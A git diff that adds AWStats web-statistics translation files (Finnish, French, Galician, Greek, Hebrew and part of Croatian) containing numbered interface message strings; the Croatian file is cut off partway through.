a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fi.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fi.txt new file mode 100644 index 0000000..46eac1d --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fi.txt @@ -0,0 +1,172 @@ +# Finnish message file (skyde@welho.com) +# Original by (zebi@kanetti.com) +# $Revision: 1.4 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Tuntematon +message1=Tuntematon (Selvitt�m�t�n IP) +message2=Muut +message3=Katso tiedot +message4=P�iv� +message5=Kuukausi +message6=Vuosi +message7=Statistiikat: +message8=Ensimm�inen vierailu +message9=Viimeisin vierailu +message10=Vierailujen m��r� +message11=Uniikkia vierailijaa +message12=Vierailu +message13=eri hakusanaa +message14=Hakuja +message15=Prosentti +message16=Liikenne +message17=Domainit/maat +message18=Vierailija +message19=Sivujen URL +message20=Tunnit +message21=Selaimet +message22=HTTP Virheet +message23=Viittaajat +message24=P�ivitt�m�t�n +message25=Vierailijoiden domainit/maat +message26=hostit +message27=sivut +message28=eri sivua +message29=Ladatut sivut +message30=Muut sanat +message31=Sivuja ei l�ytynyt +message32=HTTP-virhekoodit +message33=Netscapen versiot +message34=IE:n versiot +message35=Edellinen p�ivitys +message36=Sivuille saavuttu osoitteesta: +message37=Alkuper� +message38=Suora osoite / Kirjanmerkit +message39=Tuntematon alkuper� +message40=Linkit Internetin hakukoneista +message41=Linkit ulkopuolisilta sivuilta (poislukien hakukoneet) +message42=Linkit sis�isilt� sivuilta (omasta domainista) +message43=Hakukoneissa k�ytetyt hakulauseet +message44=Hakukoneissa k�ytetyt hakusanat +message45=Selvitt�m�t�n IP-osoite +message46=Tuntematon k�ytt�j�rjestelm� (k�ytt�j�n mukana l�hetetty tieto) +message47=Pyydetyt, mutta ei l�ytyneet osoitteet (HTTP virhekoodi 404) +message48=IP-osoite +message49=Virheosumat +message50=Tuntemattomia selaimia (k�ytt�j�n mukana l�hetetty tieto) +message51=Vierailleet robotit +message52=k�ynti�/vierailija +message53=Robotteja/"Spider" -vierailijoita +message54=Ilmainen reaaliaikainen lokitiedoston analysoija kehittyneiden web-tilastojen laadintaan +message55=josta +message56=Sivuja +message57=Osumia +message58=Versiot +message59=K�ytt�j�rjestelm�t +message60=Tammi +message61=Helmi +message62=Maalis +message63=Huhti +message64=Touko +message65=Kes� +message66=Hein� +message67=Elo +message68=Syys +message69=Loka +message70=Marras +message71=Joulu +message72=Navigaatio +message73=Tiedostotyyppi +message74=P�ivit� nyt +message75=Kaista +message76=Takaisin p��sivulle +message77=Yleisimm�t +message78=dd.mm.yyyy - HH:MM +message79=Filtteri +message80=T�ysi lista +message81=Hosteja +message82=Tunnettuja +message83=Robotteja +message84=Su +message85=Ma +message86=Ti +message87=Ke +message88=To +message89=Pe +message90=La +message91=Viikonp�iv�t +message92=Kuka +message93=Milloin +message94=Kirjautuneet k�ytt�j�t +message95=Minimi +message96=Keskiarvo +message97=Maksimi +message98=Pakkaus +message99=Kaistaa s��stetty +message100=Pakkaus k�yt�ss� +message101=Pakattuna +message102=Yhteens� +message103=eri hakulausetta +message104=Saapumissivu +message105=Koodi +message106=Keskim��r�inen koko +message107=Linkit uutisryhmist� +message108=Kt +message109=Mt +message110=Gt +message111=Grabber +message112=Kyll� +message113=Ei +message114=WhoIs -tiedot +message115=OK +message116=Poistumissivu +message117=Vierailujen kestot +message118=Sulje ikkuna +message119=Tavua +message120=Hakulauseet +message121=Hakusanat +message122=eri viittaavaa hakukonetta +message123=eri viittaavaa sivustoa +message124=Muut lausekkeet +message125=Anonyymit k�ytt�j�t +message126=Viittaavat hakukoneet +message127=Viittaavat sivustot +message128=Yhteenveto +message129=Tarkkaa arvoa ei saatavilla vuosin�kym�ss� +message130=Data value arrays +message131=L�hett�j�n EMail-osoite +message132=Vastaanottajan EMail-osoite +message133=Raportin aikav�li +message134=Extra/Markkinointi +message135=N�yt�n resoluutiot +message136=Mato-/Virushy�kk�ykset +message137=Lis�tty suosikkeihin (arvio) +message138=Kuukausi p�ivitt�in +message139=Sekalaista +message140=Selaimet Java -tuella +message141=Selaimet Macromedia Director -tuella +message142=Selaimet Flash -tuella +message143=Selaimet Real audio -tuella +message144=Selaimet Quicktime audio -tuella +message145=Selaimet Windows Media audio -tuella +message146=Selaimet PDF -tuella +message147=SMTP-virhekoodit +message148=Maat +message149=Viesti� +message150=Koko +message151=Ensimm�inen +message152=Viimeinen +message153=Exclude filter +message154=T�ss� luetellut koodit luetaan "ei n�ytetty" -liikenteeksi, eik� niit� ole n�inollen sis�llytetty muihin tilastoihin. +message155=Ryp�s +message156=T�ss� luetellut robotit luetaan "ei n�ytetty" -liikenteeksi, eik� niit� ole n�inollen sis�llytetty muihin tilastoihin. +message157=Luvut + -merkin j�lkeen ovat onnistuneita osumia "robots.txt"-tiedostoihin. +message158=T�ss� luetellut madot luetaan "ei n�ytetty" -liikenteeksi, eik� niit� ole n�inollen sis�llytetty muihin tilastoihin. +message159="Ei n�ytetty"-liikenne sis�lt�� hakurobottien, matojen ja poikkeavien HTTP-tilakoodien aiheuttaman liikenteen. +message160=N�ytetty liikenne +message161=Ei n�ytetty liikenne +message162=Kuukausittaittaiset tilastot +message163=Matoja +message164=erilaista matoa +message165=Viesti� l�hetetty onnistuneesti +message166=Viesti� ep�onnistunut/torjuttu +message167=Herkki� kohteita diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fr.txt new file mode 100644 index 0000000..c5b4cf7 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fr.txt @@ -0,0 +1,181 @@ +# French message file (eldy@users.sourceforge.net) +# $Revision: 1.90 $ - $Date: 2010/03/09 21:52:06 $ +PageCode=utf-8 +message0=Inconnu +message1=Inconnus (IP non résolue) +message2=Autres +message3=Voir détails +message4=Jour +message5=Mois +message6=Année +message7=Statistiques de +message8=Première visite +message9=Dernière visite +message10=Visites +message11=Visiteurs différents +message12=Visite +message13=mots clé différents +message14=Recherche +message15=Pourcentage +message16=Trafic +message17=Domaines/Pays +message18=Visiteurs +message19=Pages-URL +message20=Heures +message21=Navigateurs +message22= +message23=Origine/Referer +message24=Jamais mis à jour (Voir 'Build/Update', page awstats_setup.html) +message25=Domaines/pays visiteurs +message26=des hôtes +message27=des pages +message28=pages différentes +message29=Pages vues +message30=Autres mots +message31=Pages non trouvées +message32=Codes Status HTTP +message33=Versions de Netscape +message34=Versions de MS Internet Explorer +message35=Dernière mise à jour +message36=Connexions au site par +message37=Origine de la connexion +message38=Adresse directe / Bookmark / Lien dans email... +message39=Origine inconnue +message40=Lien depuis un moteur de recherche Internet +message41=Lien depuis une page externe (autres sites, hors moteurs) +message42=Lien depuis une page interne (autre page du site) +message43=Phrases clés de recherche +message44=Mots clés de recherche +message45=Adresses IP non résolues +message46=OS non reconnus (champ useragent brut) +message47=URLs du site demandées non trouvées (Code HTTP 404) +message48=Adresse IP +message49=Hits en échec +message50=Navigateurs non reconnus (champ useragent brut) +message51=robots différents +message52=visites/visiteur +message53=Visiteurs Robots/Spiders +message54=Analyseur de log libre pour statistiques Web avancées +message55=sur +message56=Pages +message57=Hits +message58=Versions +message59=Systèmes exploitation +message60=Jan +message61=Fév +message62=Mar +message63=Avr +message64=Mai +message65=Juin +message66=Juil +message67=Aoû +message68=Sep +message69=Oct +message70=Nov +message71=Déc +message72=Navigation +message73=Types de fichiers +message74=Mise à jour immédiate +message75=Bande passante +message76=Retour page principale +message77=Top +message78=dd mmm yyyy - HH:MM +message79=Filtre +message80=Liste complète +message81=Hôtes +message82=Connus +message83=Robots +message84=Dim +message85=Lun +message86=Mar +message87=Mer +message88=Jeu +message89=Ven +message90=Sam +message91=Jours de la semaine +message92=Qui +message93=Quand +message94=Logins utilises +message95=Min +message96=Moyenne +message97=Max +message98=Compression web +message99=Bande-passante économisée +message100=Compression sur +message101=Résultat compression +message102=Total +message103=phrases clé différentes +message104=Entrée +message105=Code +message106=Taille moyenne +message107=Lien depuis un NewsGroup +message108=Ko +message109=Mo +message110=Go +message111=Aspirateur +message112=Oui +message113=Non +message114=Info. +message115=OK +message116=Sortie +message117=Durée des visites +message118=Fermer +message119=Octets +message120=Phrases clés +message121=Mots clés +message122=moteurs de recherche différents +message123=sites différents +message124=Autres phrases +message125=Autres logins (et/ou utilisateurs anonymes) +message126=Moteurs de recherche +message127=Sites référenceurs +message128=Résumé +message129=Valeur exacte indisponible en vue 'annuelle' +message130=Tableaux des valeurs +message131=EMail Emetteur +message132=EMail Destinataire +message133=Période d'analyse +message134=Extra/Marketing +message135=Résolution écran +message136=Attaques Worm/Virus +message137=Hits avec succès sur favicon.ico +message138=Jours du mois +message139=Divers +message140=Navigateurs avec support Java actif +message141=Navigateurs avec support Macromedia Director +message142=Navigateurs avec support Flash +message143=Navigateurs avec support audio Real +message144=Navigateurs avec support audio QuickTime +message145=Navigateurs avec support audio Windows Media +message146=Navigateurs avec support PDF +message147=Codes Erreurs SMTP +message148=Pays +message149=Mails +message150=Taille +message151=Premier +message152=Dernier +message153=Filtre exclusion +message154=Les codes présentées ici sont à l'origine de hits ou de traffic "non vus" par les visiteurs donc non représentés dans les autres tableaux. +message155=Cluster +message156=Les robots présentés ici sont à l'origine de hits ou de traffic "non vus" par les visiteurs donc non représentés dans les autres tableaux. +message157=Les nombres après le + indiquent les hits avec succès sur les fichiers "robots.txt". +message158=Les vers présentés ici sont à l'origine de hits ou de traffic "non vus" par les visiteurs donc non représentés dans les autres tableaux. +message159=Le trafic 'non vu' est le trafic généré par les robots, vers ou réponses HTTP avec code retour spécial. +message160=Trafic 'vu' +message161=Trafic 'non vu' +message162=Historique mensuel +message163=Vers +message164=vers differents +message165=Mails transférés +message166=Mails en échec/refusés +message167=Cibles sensibles +message168=Javascript désactivé +message169=Généré par +message170=plugins +message171=Regions +message172=Villes +message173=Versions Opera +message174=Versions Safari +message175=Versions Chrome +message176=Versions Konqueror +message177= diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gl.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gl.txt new file mode 100644 index 0000000..daa792f --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gl.txt @@ -0,0 +1,172 @@ +# Galician message file by Ignacio Agulló (agullo@ati.es) +# $Revision: 1.7 $ - $Date: 2008/10/05 11:01:31 $ +PageCode=iso-8859-1 +message0=Descoñecido +message1=Descoñecido (IP non resolto) +message2=Outros +message3=Ver detalles +message4=Día +message5=Mes +message6=Ano +message7=Estatísticas de +message8=Primeira visita +message9=última visita +message10=Número de visitas +message11=Visitantes distintos +message12=Visita +message13=palabras clave distintas +message14=Procura +message15=Porcentaxe +message16=Tráfico +message17=Dominios/Países +message18=Visitantes +message19=Páxinas/URLs +message20=Horas +message21=Navegadores +message22=Erros +message23=Enlaces +message24=Nunca actualizado +message25=Visitas por dominios/países +message26=máquinas +message27=páxinas +message28=distintas páxinas/urls +message29=Vistas +message30=Outras palabras +message31=Páxinas non atopadas +message32=Códigos de status HTTP +message33=Versións de Netscape Navigator +message34=Versións de MS Internet Explorer +message35=última actualización +message36=Procedencia das conexións ó sitio +message37=Orixe +message38=Enderezo directo/Favoritos +message39=Orixe descoñecida +message40=Enlaces dende procuradores de Internet +message41=Enlaces dende páxinas externas (outros sitios web exceptuando procuradores) +message42=Enlaces dende páxinas internas (outras páxinas no mesmo sitio) +message43=Frases clave usadas por procuradores +message44=Palabras clave usadas polo procurador +message45=Enderezo IP non resolto +message46=SO descoñecido (campo do axente do usuario) +message47=URLs solicitadas pero non atopadas (código HTTP 404) +message48=Enderezo IP +message49=Accesos erróneos +message50=Navegadores descoñecidos (campo do axente do usuario) +message51=robots diferentes +message52=visitas/visitante +message53=Visitantes Robots/Arañas +message54=Analizador gratuíto de rexistros para estadísticas Web avanzadas +message55=de +message56=Páxinas +message57=Accesos +message58=Versións +message59=Sistemas Operativos +message60=Xan +message61=Feb +message62=Mar +message63=Abr +message64=Mai +message65=Xuñ +message66=Xul +message67=Ago +message68=Set +message69=Out +message70=Nov +message71=Dec +message72=Navegación +message73=Tipo de ficheiros +message74=Actualizar agora +message75=Ancho de banda +message76=Volver á páxina principal +message77=Primeiros +message78=dd mmm yyyy - HH:MM +message79=Filtro +message80=Lista completa +message81=Máquinas +message82=Coñecidos +message83=Robots +message84=Dom +message85=Lun +message86=Mar +message87=Mer +message88=Xov +message89=Ven +message90=Sab +message91=Días da semana +message92=Quen +message93=Cando +message94=Usuarios Autentificados +message95=Mín +message96=Media +message97=Máx +message98=Compresión web +message99=Ancho de banda aforrado +message100=Compresión +message101=Resultado da compresión +message102=Total +message103=frases clave distintas +message104=Entrada +message105=Código +message106=Tamaño medio +message107=Grupos de noticias +message108=KO +message109=MO +message110=GO +message111=Capturador +message112=Sí +message113=Non +message114=Infor. +message115=Aceptar +message116=Saída +message117=Duración das visitas +message118=Pechar fiestra +message119=Octetos +message120=Frases clave de procura +message121=Palabras clave de procura +message122=diferentes procuradores referintes +message123=diferentes sitios referentes +message124=Outras frases +message125=Outros identificadores (e/ou usuarios anónimos) +message126=Procuradores referentes +message127=Sitios referentes +message128=Resumo +message129=Valor exacto non dispoñible na vista por anos +message130=Matrices de valores de datos +message131=Enderezo do emisor +message132=Enderezo do receptor +message133=Período rexistrado +message134=Extra/Mercadotecnia +message135=Tamaños de pantalla +message136=Ataques de Vermes/Virus +message137=Engadido a favoritos (estimado) +message138=Días do mes +message139=Miscelánea +message140=Navegadores con soporte Java +message141=Navegadores con soporte Macromedia Director +message142=Navegadores con soporte Flash +message143=Navegadores con soporte de reproductor Real audio +message144=Navegadores con soporte de reproductor Quicktime audio +message145=Navegadores con soporte de reproductor Windows Media audio +message146=Navegadores con soporte PDF +message147=Códigos de erro SMTP +message148=Países +message149=Correos +message150=Tamaño +message151=Primeiro +message152=último +message153=Excluir Filtro +message154=Os códigos amosados aquí contan accesos ou tráfico "non visto" por visitantes, logo están aillados nesta táboa. +message155=Grupo +message156=Os robots amosados aquí fixeron accesos ou tráfico "non visto" polos visitantes, polo tanto non se inclúen en outras táboas. +message157=Os números despois do + son accesos hachados en arquivos "robots.txt". +message158=Os gusanos amosados aquí fixeron accesos ou tráfico "non visto" polos visitantes, polo tanto non se inclúen en outras táboas. +message159=O tráfico non visto é tráfico xerado por robots, gusanos ou respostas con códigos especiais de estado de HTTP. +message160=Tráfico visto +message161=Tráfico non visto +message162=Historial mensual +message163=Gusanos +message164=gusanos distintos +message165=Mensaxes enviadas con éxito +message166=Mensaxes fallidas/rexeitadas +message167=obxectivos sensibles +message168=Javascript deshabilitado \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gr.txt new file mode 100644 index 0000000..0b4b8e9 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gr.txt @@ -0,0 +1,174 @@ +# Greek message file +# Giannis Stoilis <i18ngr@hellug.gr> +# Thomas Venieris <mot@mediaweb.gr> +# $Revision: 1.10 $ - $Date: 2008/11/15 15:55:45 $ +# +PageCode=utf-8 +message0=Άγνωστο +message1=Άγνωστο (μη αναγνωρισμένη ip) +message2=Άλλοι +message3=Εμφάνιση λεπτομεριών +message4=Ημέρα +message5=Μήνας +message6=Έτος +message7=Στατιστικά του +message8=Πρώτη επίσκεψη +message9=Τελευταία επίσκεψη +message10=Αριθμός επισκέψεων +message11=Μοναδικοί επισκέπτες +message12=Επίσκεψη +message13=λέξεις-κλειδιά +message14=Αναζήτηση +message15=Ποσοστό +message16=Διακίνηση +message17=Επιθέματα/Χώρες +message18=Επισκέπτες +message19=Σελίδες/URL +message20=Ώρες +message21=Φυλλομετρητές +message22=Σφάλματα HTTP +message23=Αναφορείς +message24=Λεκτικά Αναζήτησης +message25=Επιθέματα/χώρες επισκεπτών +message26=συστήματα +message27=σελίδες +message28=διαφορετικές σελίδες +message29=Πρόσβαση +message30=Άλλα λεκτικά +message31=Χαμένες σελίδες +message32=Κωδικοί σφαλμάτων HTTP +message33=Εκδόσεις Netscape +message34=Εκδόσεις MS Internet Explorer +message35=Τελευταία ανανέωση +message36=Σύνδεση στο τόπο από +message37=Προέλευση +message38=Ευθύς σύνδεσμος / Αγαπημένα +message39=Άγνωστη Προέλευση +message40=Σύνδεσμος από Μηχανή Αναζήτησης του Internet +message41=Σύνδεσμος από εξωτερική σελίδα (άλλοι δικτυακοί τόποι εκτός μηχανών αναζήτησης) +message42=Σύνδεσμος από εσωτερική σελίδα (άλλη σελίδα στον ίδιο δικτυακό τόπο) +message43=λεκτικά που χρησιμοποιήθηκαν σε μηχανές αναζήτησης +message44=λέξεις που χρησιμοποιήθηκαν σε μηχανές αναζήτησης +message45=Διευθύνσεις IP που δεν αναγνωρίστηκαν +message46=Άγνωστο λειτουργικό σύστημα (Πεδίο παράπεμψης) +message47=Απαιτούμενα αλλά χωρίς να βρεθούν URL (Κώδικας HTTP 404) +message48=Διεύθυνση IP +message49=Συμβάντα Σφαλμάτων +message50=Άγνωστοι φυλλομετρητές (Πεδίο παράπεμψης) +message51=Ρομπότ επισκέπτες +message52=επισκέψεις/επισκέπτη +message53=Επισκέπτες Ρομπότ/Αράχνες +message54=Ελεύθερος αναλυτής καταγραφών πραγματικού χρόνου για προηγμένα στατιστικά κίνησης WWW +message55=από +message56=Σελίδες +message57=Επιτυχίες +message58=Εκδόσεις +message59=Λ/Σ +message60=Ιαν +message61=Φεβ +message62=Μάρ +message63=Απρ +message64=Μάϊ +message65=Ιούν +message66=Ιούλ +message67=Αύγ +message68=Σεπ +message69=Οκτ +message70=Νοέ +message71=Δεκ +message72=Πλοήγηση +message73=Τύπος αρχείων +message74=Ανανέωση Τώρα +message75=Bytes +message76=Επιστροφή στην κεντρική σελίδα +message77=Δημοφιλέστερα +message78=dd mmm yyyy - HH:MM +message79=Φίλτρο +message80=Πλήρης κατάλογος +message81=Διακομιστές +message82=Γνωστοί +message83=Ρομπότ +message84=Κυρ +message85=Δευ +message86=Τρι +message87=Τετ +message88=Πεμ +message89=Παρ +message90=Σαβ +message91=Ημέρες της εβδομάδας +message92=Ποιος +message93=Ποτε +message94=Αναγνωρισμένοι χρήστες +message95=Ελάχιστο +message96=Μέσος όρος +message97=Μέγιστο +message98=Συμπίεση ιστού +message99=Εύρος που εξοικονομήθηκε +message100=Πριν τη συμπίεση +message101=Μετά τη συμπίεση +message102=Σύνολο +message103=διαφορετικές φράσεις +message104=Σελίδες Εισόδου +message105=Κώδικας +message106=Μέσο μέγεθος +message107=Σύνδεσμοι από NewsGroup +message108=KB +message109=MB +message110=GB +message111=Αρπακτικό +message112=Ναι +message113=Όχι +message114=Πληροφ. +message115=Εντάξει +message116=Έξοδος +message117=Διάρκεια επισκέψεων +message118=Κλείσιμο παραθύρου +message119=Bytes +message120=Φράσεις-κλειδιά αναζητήσεων +message121=Λέξεις-κλειδιά αναζητήσεων +message122=Διαφορετικές αναφορές από μηχανές αναζήτησης +message123=Διαφορετικές αναφορές από δικτυακούς τόπους +message124=Άλλες φράσεις +message125=Άλλες συνδέσεις (και/ή ανώνυμοι χρήστες) +message126=Αναφορές από μηχανές αναζήτησης +message127=Αναφορές από δικτυακούς τόπους +message128=Περίληψη +message129=Η ακριβής τιμή δεν είναι διαθέσιμη στην προβολή έτους +message130=Πίνακες τιμών δεδομένων +message131=Διεύθυνση αποστολέα +message132=Διεύθυνση παραλήπτη +message133=Περίοδος αναφοράς +message134=Επιπρόσθετα/Marketing +message135=Μεγέθη οθόνης +message136=Επιθέσεις σκουλικιών/ιών +message137=Προσθήκη σελιδοδείκτη (κατά προσέγγιση) +message138=Ημέρες του μήνα +message139=Διάφορα +message140=Φυλλομετρητές με υποστήριξη Java +message141=Φυλλομετρητές με υποστήριξη Macromedia Director +message142=Φυλλομετρητές με υποστήριξη Flash +message143=Φυλλομετρητές με υποστήριξη αναπαραγωγής ήχου Real +message144=Φυλλομετρητές με υποστήριξη αναπαραγωγής ήχου Quicktime +message145=Φυλλομετρητές με υποστήριξη αναπαραγωγής ήχου Windows Media +message146=Φυλλομετρητές με υποστήριξη PDF +message147=Κωδικοί σφαλμάτων SMTP +message148=Χώρες +message149=Επιστολές +message150=Μέγεθος +message151=Πρώτη +message152=Τελευταία +message153=Εξαίρεση φίλτρου +message154=Οι εμφανιζόμενοι κωδικοί αντιπροσωπεύουν αιτήσεις ή κίνηση που "δεν προβλήθηκε" στους επισκέπτες, οπότε δεν περιλαμβάνονται σε άλλα γραφήματα. +message155=Συγκρότημα +message156=Τα εμφανιζόμενα ρομπότ αντιπροσωπεύουν αιτήσεις ή κίνηση που "δεν προβλήθηκε" στους επισκέπτες, οπότε δεν περιλαμβάνονται σε άλλα γραφήματα. +message157=Οι αριθμοί μετά το + είναι επιτυχημένες αιτήσεις σε αρχεία "robots.txt". +message158=Τα εμφανιζόμενα σκουλίκια αντιπροσωπεύουν αιτήσεις ή κίνηση που "δεν προβληθηκε" στους επισκέπτες, οπότε δεν περιλαμβάνονται σε άλλα γραφήματα. +message159=Στην κίνηση που δεν προβλήθηκε περιλαμβάνεται κίνηση που προκλήθηκε από ρομπότ, σκουλίκια ή απαντήσεις με ειδικούς κωδικούς κατάστασης HTTP. +message160=Κίνηση που προβλήθηκε +message161=Κίνηση που δεν προβλήθηκε +message162=Μηνιαίο ιστορικό +message163=Σκουλίκια +message164=Διαφορετικά σκουλίκια +message165=Επιτυχείς αποστολές μηνυμάτων +message166=Αποτυχημένα/Απερριφθέντα μηνύματα +message167=Ευαίσθητοι στόχοι \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-he.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-he.txt new file mode 100644 index 0000000..c0b9c2e --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-he.txt @@ -0,0 +1,187 @@ +# Hebrew (Unicode) message file (http://lior.weissbrod.com) +# $Revision: 1.4 $ - $Date: 2010/11/11 22:23:01 $ +# +# Originally: +# Hebrew message file (shimi@shimi.net) +# $Revision: 1.4 $ - $Date: 2010/11/11 22:23:01 $ +PageCode=utf-8 +PageDir=rtl +message0=לא ידוע +message1=לא ידועים (IP לא מפוענח) +message2=אחרים +message3=הצג פרטים +message4=יום +message5=חודש +message6=שנה +message7=סטטיסטיקה +message8=ביקור ראשון +message9=ביקור אחרון +message10=מספר הביקורים +message11=מבקרים ייחודיים (Unique) +message12=ביקור +message13=מילות מפתח שונות +message14=חפש +message15=אחוזים +message16=תנועה +message17=דומיינים/מדינות +message18=מבקרים +message19=כתובות-דפים +message20=שעות +message21=דפדפנים +message22= +message23=מפנים (Referers) +message24=מעולם לא עודכן +message25=דומיינים/מדינות המבקרים +message26=מארחים (hosts) +message27=דפים +message28=דפי כתובת שונים +message29=נצפו +message30=מילים אחרות +message31=דפים שלא נמצאו +message32=קודי סטטוס HTTP +message33=גירסאות נטסקייפ +message34=גירסאות אקספלורר +message35=עדכון אחרון +message36=התחברות לאתר דרך +message37=מקור +message38=גישה ישירה / בוקמרק / קישור בתוך אימייל +message39=מקור לא ידוע +message40=קישורים ממנוע חיפוש +message41=קישורים מדפים חיצוניים (אתרים אחרים - למעט מנועי חיפוש) +message42=קישורים מדפים פנימיים (דפים אחרים באתר) +message43=ביטויים שהשתמשו בהם במנועי חיפוש +message44=מילות מפתח שהשתמשו בהם במנועי חיפוש +message45=כתובת IP לא מפוענחת +message46=מערכת הפעלה לא ידועה (בשדה UserAgent) +message47=Required but not found URLs (HTTP code 404) +message48=כתובת IP +message49=היטי שגיאה +message50=דפדפנים לא ידועים (בשדה UserAgent) +message51=רובוטים שונים +message52=ביקורים/מבקר +message53=ביקורי רובוטים/ספיידרים +message54=מנתח זמן-אמת של קבצי לוג עבור סטטיסטיקות גלישה מתקדמות +message55=of +message56=דפים +message57=היטים +message58=גירסאות +message59=מערכות הפעלה +message60=ינואר +message61=פברואר +message62=מרץ +message63=אפריל +message64=מאי +message65=יוני +message66=יולי +message67=אוגוסט +message68=ספטמבר +message69=אוקטובר +message70=נובמבר +message71=דצמבר +message72=גלישה +message73=סוגי הקבצים +message74=עדכן עכשיו +message75=רוחב פס +message76=חזרה לדף הראשי +message77=טופ +message78=dd mmm yyyy - HH:MM +message79=פילטר +message80=רשימה מלאה +message81=מארחים +message82=ידועים +message83=רובוטים +message84=ראשון +message85=שני +message86=שלישי +message87=רביעי +message88=חמישי +message89=שישי +message90=שבת +message91=ימי השבוע +message92=מי +message93=מתי +message94=משתמשים מזוהים +message95=מינימום +message96=ממוצע +message97=מקסימום +message98=דחיסת Web +message99=רוחב פס נחסך +message100=דחיסה פעילה +message101=תוצאת הדחיסה +message102=סך הכל +message103=ביטויי מפתח שונים +message104=דף כניסה +message105=קוד +message106=גודל ממוצע +message107=קישורים מניוזגרופס +message108=קילובייט +message109=מגהבייט +message110=גיגהבייט +message111=חוטף +message112=כן +message113=לא +message114=מידע +message115=OK +message116=דף יציאה +message117=תקופת ביקורים +message118=סגור חלון +message119=בתים +message120=ביטויי מפתח בחיפושים +message121=מילות מפתח בחיפושים +message122=הפניות ממנועי חיפוש שונים +message123=הפניות מאתרים שונים +message124=ביטויים אחרים +message125=כניסות אחרות (ו/או משתמשים אנונימיים) +message126=הפניות מנועי חיפוש +message127=הפניות מאתרים אחרים +message128=סיכום +message129=ערך מדוייק לא מופיע בתצוגת 'שנה' +message130=Data value arrays +message131=כתובת האי-מייל של השולח +message132=כתובת האי-מייל של המקבל +message133=תקופה מדווחת +message134=נוסף/שיווק +message135=גדלי מסך +message136=התקפות וירוסים/תולעים +message137=<span dir="rtl">טעינות מוצלחות של הקובץ favicon.ico</span> +message138=ימי החודש +message139=שונות +message140=דפדפנים עם תמיכה ב Java +message141=דפדפנים עם תמיכה ב Macromedia Director +message142=דפדפנים עם תמיכה בפלאש +message143=דפדפנים עם תמיכה ב Real audio +message144=דפדפנים עם תמיכה ב Quicktime audio +message145=דפדפנים עם תמיכה ב Windows Media audio +message146=דפדפנים עם תמיכה ב PDF +message147=קודי שגיאות SMTP +message148=מדינות +message149=אי-מיילים +message150=גודל +message151=ראשון +message152=אחרון +message153=פילטר נפוי +message154=קודים המופיעים כאן נתנו היטים או תעבורה "שלא נראתה" על ידי מבקרים, ולכן הם מופרדים בטבלה זו.<br /><br /><li><b>הדו"ח תורגם ע"י</b> <a href="http://lior.weissbrod.com">LWC</a>. +message155=Cluster +message156=רובוטים המוצגים כאן נתנו היטים או תעבורה ש"לא נצפתה" על ידי גולשים אמיתיים, כך שהם לא מחושבים ברישומים האחרים +message157=- המספרים לפני הפלוס הם היטים מוצלחים לקבצים ב-"robots.txt". +message158=התולעים שנראות כאן נתנו היטים או תנועה "לא נראים" למבקרים, ולכן הם לא נכללו בטבלאות אחרות. +message159=תנועה בלתי נראית כוללת תנועה שיוצרת ע"י רובוטים, תולעים או תשובות עם קודי סטטוס מיוחדים של HTML. +message160=תנועה נראית +message161=תנועה בלתי נראית +message162=היסטוריה חודשית +message163=תולעים +message164=תולעים אחרות +message165=דואר שנשלח בהצלחה +message166=דואר שנדחה/סורב +message167=מטרות רגישות +message168=Javascript נוטרל +message169=</span><span> נוצר ע"י +message170=plugins +message171=איזורים +message172=ערים +message173=גרסאות Opera +message174=גרסאות Safari +message175=גרסאות Chrome +message176=גרסאות Konqueror +message177=, +message178=הורדות \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hr.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hr.txt new file mode 100644 index 0000000..8a130b0 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hr.txt @@ -0,0 +1,174 @@ +# Croatian message file (coolbiza@yahoo.com) +# $Revision: 1.1 $ - $Date: 2005/06/12 13:59:40 $ +PageCode=iso-8859-2 +message0=Nepoznat +message1=nepoznatih (IP adresa nije razrije�ena) +message2=Ostalo +message3=Vidi detalje +message4=Dan +message5=Mjesec +message6=Godina +message7=Statistika za +message8=Prvi posjet +message9=Zadnji posjet +message10=Broj posjeta +message11=Jedinstvenih posjetitelja +message12=Posjet +message13=Klju�na rije� +message14=Potraga +message15=Postotak +message16=Promet +message17=Domene/Zemlje +message18=Posjetitelji +message19=Stranice-URL +message20=Sati (Serversko vrijeme) +message21=Browseri (preglednici) +message22=HTTP Gre�ke +message23=Refereri (linkovi) +message24=Nikad nije osvje�eno (Pogledaj 'Build/Update' na awstats_setup.html stranici) +message25=Domene/zemlje posjetitelja +message26=ra�unala +message27=stranica +message28=razli�ite stranice-url +message29=Vi�eno +message30=Ostale rije�i +message31=Neprona�ene stranice +message32=HTTP Kodovi gre�ke +message33=Verzije Netscape-a +message34=Verzije IE-a +message35=Posljednje osvje�avanje +message36=Link na sajt sa: +message37=Odakle je korisnik do�ao +message38=Direktan pristup / Bookmarks +message39=Nepoznato porijeklo +message40=Posjeta sa Internet pretra�iva�a +message41=Posjeta sa druge stranice (drugi web sajtovi osim pretra�iva�a) +message42=Posjeta sa vlastite stranice (druga stranica unutar istog sajta) +message43=Fraze kori�tene na pretra�iva�ima +message44=Rije�i kori�tene na pretra�iva�ima +message45=Nerazrije�ena IP Adresa +message46=Nepoznat OS (useragent field) +message47=Zahtjevan URL koji nije prona�en (HTTP kod 404) +message48=IP Adresa +message49=Gre�ke 